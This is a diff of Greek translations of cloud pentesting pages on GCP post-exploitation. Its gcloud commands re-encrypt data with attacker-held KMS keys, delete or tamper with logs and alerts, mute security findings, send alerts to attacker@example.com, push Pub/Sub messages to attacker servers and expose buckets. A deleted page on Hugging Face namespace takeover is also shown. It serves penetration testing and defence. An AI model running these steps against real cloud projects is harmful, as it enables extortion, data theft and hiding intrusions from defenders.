+- Δημιουργία νέας **έκδοσης του κλειδιού με key material** που έχει εισαχθεί από τον επιτιθέμενο
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Ορίστε το ως **προεπιλεγμένη έκδοση** (για μελλοντικά δεδομένα που θα κρυπτογραφηθούν)
-- **Κρυπτογραφήστε ξανά τα παλαιότερα δεδομένα** που κρυπτογραφήθηκαν με την προηγούμενη έκδοση με τη νέα.
+- **Επανακρυπτογραφήστε τα παλαιότερα δεδομένα** που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση, χρησιμοποιώντας τη νέα.
- **Διαγράψτε το KMS key**
-- Τώρα μόνο ο επιτιθέμενος, που έχει το αρχικό υλικό κλειδιού, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
+- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό key material, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
-#### Ακολουθούν τα βήματα για να εισαγάγετε μια νέα έκδοση και να απενεργοποιήσετε/διαγράψετε τα παλαιότερα δεδομένα:
+#### Εδώ είναι τα βήματα για εισαγωγή νέας έκδοσης και απενεργοποίηση/διαγραφή των παλαιότερων δεδομένων:
+
+
+
+Εισαγωγή νέας έκδοσης κλειδιού και διαγραφή παλαιότερης έκδοσης
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
--version 1
```
+
+
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
+
+
+
+Κρυπτογράφηση δεδομένων με συμμετρικό κλειδί (Python)
```python
from google.cloud import kms
import base64
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
+
+
### `cloudkms.cryptoKeyVersions.useToSign`
+
+
+
+Υπογραφή μηνύματος με ασυμμετρικό κλειδί (Python)
```python
import hashlib
from google.cloud import kms
@@ -215,7 +237,13 @@ message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
+
+
### `cloudkms.cryptoKeyVersions.useToVerify`
+
+
+
+Επικύρωση υπογραφής με ασύμμετρο κλειδί (Python)
```python
from google.cloud import kms
import hashlib
@@ -242,4 +270,6 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index 5bb9ee299..9f876df56 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -2,29 +2,33 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Βασικές Πληροφορίες
-Για περισσότερες πληροφορίες ελέγξτε:
+Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
-Για άλλους τρόπους διακοπής της παρακολούθησης ελέγξτε:
+Για άλλους τρόπους διατάραξης της παρακολούθησης δείτε:
{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}
-### Default Logging
+### Προεπιλεγμένο Logging
-**Κατά προεπιλογή δεν θα πιαστείτε απλώς για την εκτέλεση ενεργειών ανάγνωσης. Για περισσότερες πληροφορίες ελέγξτε την ενότητα Logging Enum.**
+**Ως προεπιλογή δεν θα εντοπιστείτε απλώς επειδή εκτελείτε ενέργειες ανάγνωσης. Για περισσότερες πληροφορίες δείτε την ενότητα Logging Enum.**
-### Add Excepted Principal
+### Προσθήκη Excepted Principal
-Στο [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) και [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) είναι δυνατό να προσθέσετε κύριους χρήστες ώστε να μην δημιουργούνται logs. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποτρέψει την ανίχνευση.
+Στο [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) και [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) είναι δυνατή η προσθήκη principals ώστε να μην δημιουργούνται logs. An attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποφύγει τον εντοπισμό.
-### Read logs - `logging.logEntries.list`
+### Ανάγνωση logs - `logging.logEntries.list`
+
+
+
+Ανάγνωση εγγραφών log
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
```
+
+
### `logging.logs.delete`
+
+
+
+Διαγραφή εγγραφών καταγραφής
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete
```
-### Γράψτε αρχεία καταγραφής - `logging.logEntries.create`
+
+
+### Εγγραφή καταγραφών - `logging.logEntries.create`
+
+
+
+Καταχώρηση εγγραφής καταγραφής
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
+
+
### `logging.buckets.update`
+
+
+
+Ενημέρωση της περιόδου διατήρησης του bucket καταγραφών
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
gcloud logging buckets update bucketlog --location= --description="New description" --retention-days=1
```
+
+
### `logging.buckets.delete`
+
+
+
+Διαγραφή κάδου καταγραφών
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=
```
+
+
### `logging.links.delete`
+
+
+
+Διαγραφή συνδέσμου καταγραφής
```bash
# Delete link
gcloud logging links delete --bucket --location
```
+
+
### `logging.views.delete`
+
+
+
+Διαγραφή προβολής logging
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete --bucket= --location=global
```
+
+
### `logging.views.update`
+
+
+
+Ενημέρωση του logging view για απόκρυψη δεδομένων
```bash
# Update a logging view to hide data
gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view"
```
+
+
### `logging.logMetrics.update`
+
+
+
+Ενημέρωση μετρικών βασισμένων σε logs
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
+
+
### `logging.logMetrics.delete`
+
+
+
+Διαγραφή log-based metrics
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete
```
+
+
### `logging.sinks.delete`
+
+
+
+Διαγραφή log sink
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete
```
+
+
### `logging.sinks.update`
+
+
+
+Ενημέρωση/διατάραξη του log sink
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update --disabled
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
index a7bd3b39f..11eb7e442 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
@@ -1,16 +1,16 @@
-# GCP - Παρακολούθηση Μετά την Εκμετάλλευση
+# GCP - Παρακολούθηση Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Παρακολούθηση
-Για περισσότερες πληροφορίες ελέγξτε:
+Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
-Για άλλους τρόπους διακοπής των καταγραφών ελέγξτε:
+Για άλλους τρόπους να διαταραχθούν τα logs δείτε:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
### `monitoring.alertPolicies.delete`
-Διαγράψτε μια πολιτική ειδοποίησης:
+Διαγραφή ενός alert policy:
+
+
+
+Διαγραφή alert policy
```bash
gcloud alpha monitoring policies delete
```
+
+
### `monitoring.alertPolicies.update`
-Διαταράξτε μια πολιτική ειδοποίησης:
+Διαταράξτε μια πολιτική ειδοποιήσεων:
+
+
+
+Διαταράξτε πολιτική ειδοποιήσεων
```bash
# Disable policy
gcloud alpha monitoring policies update --no-enabled
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update --set-notification-channe
gcloud alpha monitoring policies update --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file
```
+
+
### `monitoring.dashboards.update`
Τροποποιήστε έναν πίνακα ελέγχου για να τον διαταράξετε:
+
+
+
+Διατάραξη πίνακα ελέγχου
```bash
# Disrupt dashboard
gcloud monitoring dashboards update --config='''
@@ -53,16 +69,28 @@ widgets:
content: Hello World
'''
```
+
+
### `monitoring.dashboards.delete`
-Διαγράψτε έναν πίνακα ελέγχου:
+Διαγραφή πίνακα ελέγχου:
+
+
+
+Διαγραφή πίνακα ελέγχου
```bash
# Delete dashboard
gcloud monitoring dashboards delete
```
+
+
### `monitoring.snoozes.create`
Αποτρέψτε τις πολιτικές από το να δημιουργούν ειδοποιήσεις δημιουργώντας έναν snoozer:
+
+
+
+Δημιουργήστε snoozer για να σταματήσετε τις ειδοποιήσεις
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
+
+
### `monitoring.snoozes.update`
-Ενημερώστε το χρονοδιάγραμμα ενός snoozer για να αποτρέψετε τη δημιουργία ειδοποιήσεων όταν ο επιτιθέμενος είναι ενδιαφερόμενος:
+Ενημερώστε το χρονισμό ενός snoozer για να αποτρέψετε τη δημιουργία ειδοποιήσεων όταν ο επιτιθέμενος ενδιαφέρεται:
+
+
+
+Ενημέρωση χρονισμού snoozer
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update --start-time=START_TIME --end-time=END
# odify everything, including affected policies
gcloud monitoring snoozes update --snooze-from-file=
```
+
+
### `monitoring.notificationChannels.delete`
-Διαγράψτε ένα ρυθμισμένο κανάλι:
+Διαγραφή ενός διαμορφωμένου καναλιού:
+
+
+
+Διαγραφή καναλιού ειδοποιήσεων
```bash
# Delete channel
gcloud alpha monitoring channels delete
```
+
+
### `monitoring.notificationChannels.update`
-Ενημερώστε τις ετικέτες ενός καναλιού για να το διακόψετε:
+Ενημέρωση ετικετών ενός καναλιού για να το διαταράξετε:
+
+
+
+Ενημέρωση ετικετών καναλιού ειδοποίησης
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index ffb090561..305882b7b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
## Pub/Sub
-Για περισσότερες πληροφορίες σχετικά με το Pub/Sub, ελέγξτε την παρακάτω σελίδα:
+Για περισσότερες πληροφορίες σχετικά με το Pub/Sub δείτε την παρακάτω σελίδα:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,40 +12,68 @@
### `pubsub.topics.publish`
-Δημοσιεύστε ένα μήνυμα σε ένα θέμα, χρήσιμο για **να στείλετε απροσδόκητα δεδομένα** και να ενεργοποιήσετε απροσδόκητες λειτουργίες ή να εκμεταλλευτείτε ευπάθειες:
+Δημοσίευση μηνύματος σε ένα topic, χρήσιμο για **αποστολή απροσδόκητων δεδομένων** και ενεργοποίηση απροσδόκητων λειτουργιών ή εκμετάλλευση ευπαθειών:
+
+
+
+Δημοσίευση μηνύματος στο topic
```bash
# Publish a message in a topic
gcloud pubsub topics publish --message "Hello!"
```
+
+
### `pubsub.topics.detachSubscription`
-Χρήσιμο για να αποτρέψει μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφευχθεί η ανίχνευση.
+Χρήσιμο για να εμποδίσετε μια συνδρομή να λαμβάνει μηνύματα — ίσως για να αποφύγετε τον εντοπισμό.
+
+
+
+Αποσύνδεση συνδρομής από θέμα
```bash
gcloud pubsub topics detach-subscription
```
+
+
### `pubsub.topics.delete`
-Χρήσιμο για να αποτρέψει μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφευχθεί η ανίχνευση.\
-Είναι δυνατόν να διαγραφεί ένα θέμα ακόμη και με συνδρομές συνδεδεμένες σε αυτό.
+Χρήσιμο για να αποτρέψετε ένα subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.\
+Είναι δυνατό να διαγράψετε ένα topic ακόμη και με subscriptions συνδεδεμένα σε αυτό.
+
+
+
+Delete topic
```bash
gcloud pubsub topics delete
```
+
+
### `pubsub.topics.update`
-Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποιες ρυθμίσεις του θέματος για να το διαταράξετε, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Χρησιμοποιήστε αυτήν την άδεια για να αλλάξετε κάποια ρύθμιση του topic ώστε να το διαταράξετε, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
-Δώστε στον εαυτό σας άδεια να εκτελέσει οποιαδήποτε από τις προηγούμενες επιθέσεις.
+Χορηγήστε στον εαυτό σας την άδεια να εκτελέσετε οποιαδήποτε από τις προηγούμενες επιθέσεις.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
-Αποκτήστε όλα τα μηνύματα σε έναν διακομιστή ιστού:
+Αποκτήστε όλα τα μηνύματα σε έναν web server:
+
+
+
+Δημιουργήστε push subscription για να λαμβάνετε μηνύματα
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create --topic --push-endpoint https://
```
-Δημιουργήστε μια συνδρομή και χρησιμοποιήστε την για **να τραβήξετε μηνύματα**:
+
+
+Δημιουργήστε μια subscription και χρησιμοποιήστε την για να **pull messages**:
+
+
+
+Δημιουργία pull subscription και ανάκτηση μηνυμάτων
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create --topic
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create --topic
gcloud pubsub subscriptions pull
## This command will wait for a message to be posted
```
+
+
### `pubsub.subscriptions.delete`
-**Η διαγραφή μιας συνδρομής** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα σύστημα επεξεργασίας καταγραφών ή κάτι παρόμοιο:
+**Διαγραφή μιας συνδρομής** μπορεί να είναι χρήσιμη για να διαταράξετε ένα σύστημα επεξεργασίας καταγραφών ή κάτι παρόμοιο:
+
+
+
+Διαγραφή συνδρομής
```bash
gcloud pubsub subscriptions delete
```
+
+
### `pubsub.subscriptions.update`
-Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποιες ρυθμίσεις ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να έχετε πρόσβαση (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.
+Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση, ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος στο οποίο μπορείτε να έχετε πρόσβαση (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.
+
+
+
+Ενημέρωση endpoint συνδρομής
```bash
gcloud pubsub subscriptions update --push-endpoint
```
+
+
### `pubsub.subscriptions.setIamPolicy`
-Δώστε στον εαυτό σας τις άδειες που χρειάζεστε για να εκτελέσετε οποιαδήποτε από τις προηγουμένως σχολιασμένες επιθέσεις.
+Δώστε στον εαυτό σας τα δικαιώματα που χρειάζονται για να εκτελέσετε οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
-Επιτεθείτε σε ένα σχήμα σε ένα θέμα ώστε τα μηνύματα να μην το πληρούν και επομένως το θέμα να διαταραχθεί.\
-Αν δεν υπάρχουν σχήματα, ίσως χρειαστεί να δημιουργήσετε ένα.
+Επισυνάψτε ένα schema σε ένα topic ώστε τα μηνύματα να μην το ικανοποιούν και επομένως το topic να διαταραχθεί.\
+Εάν δεν υπάρχουν schemas, ίσως χρειαστεί να δημιουργήσετε ένα.
+
+
+
+Δημιουργήστε αρχείο schema και επισυνάψτε το σε topic
```json:schema.json
{
"namespace": "com.example",
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects//topics/ \
--schema=projects//schemas/ \
--message-encoding=json
```
+
+
### `pubsub.schemas.delete`
-Αυτό μπορεί να φαίνεται σαν να διαγράφετε ένα σχήμα, αλλά θα μπορείτε να στέλνετε μηνύματα που δεν πληρούν το σχήμα. Ωστόσο, καθώς το σχήμα θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά μέσα στο θέμα. Έτσι, αυτό είναι **ΑΧΡΗΣΤΟ**:
+Μπορεί να φαίνεται ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι **άχρηστο**:
+
+
+
+Διαγραφή schema (όχι χρήσιμο)
```bash
gcloud pubsub schemas delete
```
+
+
### `pubsub.schemas.setIamPolicy`
-Δώστε στον εαυτό σας τις άδειες που χρειάζεστε για να εκτελέσετε οποιαδήποτε από τις προηγουμένως σχολιασμένες επιθέσεις.
+Χορήγησε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προαναφερθείσες επιθέσεις.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
-Αυτό θα δημιουργήσει ένα στιγμιότυπο όλων των μη ACKed μηνυμάτων και θα τα επιστρέψει στη συνδρομή. Όχι πολύ χρήσιμο για έναν επιτιθέμενο, αλλά εδώ είναι:
+Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη subscription. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο, αλλά ιδού:
+
+
+
+Δημιούργησε snapshot και seek σε αυτό
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
index 24a5bef28..cc9882b8f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -4,7 +4,7 @@
## Secretmanager
-Για περισσότερες πληροφορίες σχετικά με το Secret Manager, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Secret Manager δείτε:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,9 +12,15 @@
### `secretmanager.versions.access`
-Αυτό σας δίνει πρόσβαση για να διαβάσετε τα μυστικά από τον διαχειριστή μυστικών και ίσως αυτό θα μπορούσε να βοηθήσει στην κλιμάκωση των δικαιωμάτων (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο μυστικό):
+Αυτό σας δίνει πρόσβαση για να διαβάσετε τα secrets από το Secret Manager και πιθανώς να βοηθήσει στο escalate privileges (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο secret):
+
+
+
+Πρόσβαση σε secret version
```bash
# Get clear-text of version 1 of secret: ""
gcloud secrets versions access 1 --secret=""
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
index 131f1e15b..fefc19832 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
@@ -1,10 +1,10 @@
-# GCP - Ασφάλεια Μετά την Εκμετάλλευση
+# GCP - Security Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Ασφάλεια
-Για περισσότερες πληροφορίες ελέγξτε:
+Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -12,37 +12,67 @@
### `securitycenter.muteconfigs.create`
-Αποτρέψτε τη δημιουργία ευρημάτων που θα μπορούσαν να ανιχνεύσουν έναν επιτιθέμενο δημιουργώντας ένα `muteconfig`:
+Αποτρέψτε τη δημιουργία findings που θα μπορούσαν να εντοπίσουν έναν επιτιθέμενο δημιουργώντας ένα `muteconfig`:
+
+
+
+Δημιουργία Muteconfig
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
+
+
### `securitycenter.muteconfigs.update`
-Αποτρέψτε τη δημιουργία ευρημάτων που θα μπορούσαν να ανιχνεύσουν έναν επιτιθέμενο ενημερώνοντας ένα `muteconfig`:
+Αποτρέψτε τη δημιουργία ευρημάτων που θα μπορούσαν να εντοπίσουν έναν εισβολέα ενημερώνοντας ένα `muteconfig`:
+
+
+
+Ενημέρωση Muteconfig
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
+
+
### `securitycenter.findings.bulkMuteUpdate`
-Αναστείλετε τα ευρήματα με βάση ένα φίλτρο:
+Σίγαση ευρημάτων βάσει φίλτρου:
+
+
+
+Μαζική σίγαση βάσει φίλτρου
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
-Μια σιωπηλή εύρεση δεν θα εμφανιστεί στον πίνακα ελέγχου SCC και στις αναφορές.
+
+
+Ένα muted finding δεν θα εμφανίζεται στον SCC dashboard και στις αναφορές.
### `securitycenter.findings.setMute`
-Σιωπήστε τις ευρήματα με βάση την πηγή, τις ευρήματα...
+Σίγαση των findings με βάση το source, findings...
+
+
+
+Ορισμός finding ως muted
```bash
-gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
+gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
+
+
### `securitycenter.findings.update`
-Ενημερώστε μια εύρεση για να υποδείξετε εσφαλμένες πληροφορίες:
+Ενημέρωση ενός ευρήματος για να υποδείξει λανθασμένες πληροφορίες:
+
+
+
+Ενημέρωση κατάστασης ευρήματος
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index a4c801482..62d24e063 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -1,18 +1,22 @@
-# GCP - Αποθήκευση Μετά την Εκμετάλλευση
+# GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Storage
-Για περισσότερες πληροφορίες σχετικά με το Cloud Storage, ελέγξτε αυτή τη σελίδα:
+Για περισσότερες πληροφορίες σχετικά με Cloud Storage δείτε αυτή τη σελίδα:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
-### Δώστε Δημόσια Πρόσβαση
+### Παροχή δημόσιας πρόσβασης
-Είναι δυνατόν να δώσετε σε εξωτερικούς χρήστες (συνδεδεμένους στο GCP ή όχι) πρόσβαση στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή, το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέτει δημόσια ένα bucket:
+Είναι δυνατό να δοθεί πρόσβαση σε εξωτερικούς χρήστες (συνδεδεμένους στο GCP ή όχι) στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέσει δημόσια ένα bucket:
+
+
+
+Κάντε το bucket/objects δημόσιο
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
-Αν προσπαθήσετε να δώσετε **ACLs σε ένα bucket με απενεργοποιημένα ACLs** θα βρείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+
-Για να αποκτήσετε πρόσβαση σε ανοιχτά buckets μέσω του προγράμματος περιήγησης, αποκτήστε πρόσβαση στη διεύθυνση URL `https://.storage.googleapis.com/` ή `https://.storage.googleapis.com/`
+Αν προσπαθήσετε να δώσετε **ACLs σε ένα bucket με απενεργοποιημένα ACLs** θα δείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+
+Για να αποκτήσετε πρόσβαση σε ανοιχτά buckets μέσω browser, επισκεφθείτε το URL `https://.storage.googleapis.com/` ή `https://.storage.googleapis.com/`
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
deleted file mode 100644
index 1fd54f1f1..000000000
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ /dev/null
@@ -1,113 +0,0 @@
-# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Scenario
-
-- Το Vertex AI Model Garden επιτρέπει την άμεση ανάπτυξη πολλών μοντέλων Hugging Face (HF).
-- HF model identifiers are Author/ModelName. Εάν ένας author/org στο HF διαγραφεί, το ίδιο όνομα author μπορεί να επανεγγραφεί από οποιονδήποτε. Οι attackers μπορούν τότε να δημιουργήσουν ένα repo με το ίδιο ModelName στη legacy path.
-- Pipelines, SDKs, ή cloud catalogs που κάνουν fetch μόνο με όνομα (χωρίς pinning/integrity) θα κατεβάσουν το attacker-controlled repo. Όταν το model αναπτυχθεί, ο loader code από εκείνο το repo μπορεί να εκτελεστεί μέσα στο Vertex AI endpoint container, παρέχοντας RCE με τα permissions του endpoint.
-
-Two common takeover cases on HF:
-- Ownership deletion: Η παλιά διαδρομή επιστρέφει 404 μέχρι κάποιος να επανεγγράψει τον author και να δημοσιεύσει το ίδιο ModelName.
-- Ownership transfer: Το HF εκδίδει 307 redirects από το παλιό Author/ModelName προς τον νέο author. Αν ο παλιός author διαγραφεί αργότερα και επανεγγραφεί από attacker, η αλυσίδα redirect σπάει και το attacker’s repo σερβίρει στη legacy path.
-
-## Identifying Reusable Namespaces (HF)
-
-- Old author deleted: η σελίδα του author επιστρέφει 404; το model path μπορεί να επιστρέφει 404 μέχρι takeover.
-- Transferred models: το παλιό model path εκδίδει 307 προς τον νέο owner όσο ο παλιός author υπάρχει. Αν ο παλιός author διαγραφεί αργότερα και επανεγγραφεί, η legacy path θα δείχνει στο attacker’s repo.
-
-Quick checks with curl:
-```bash
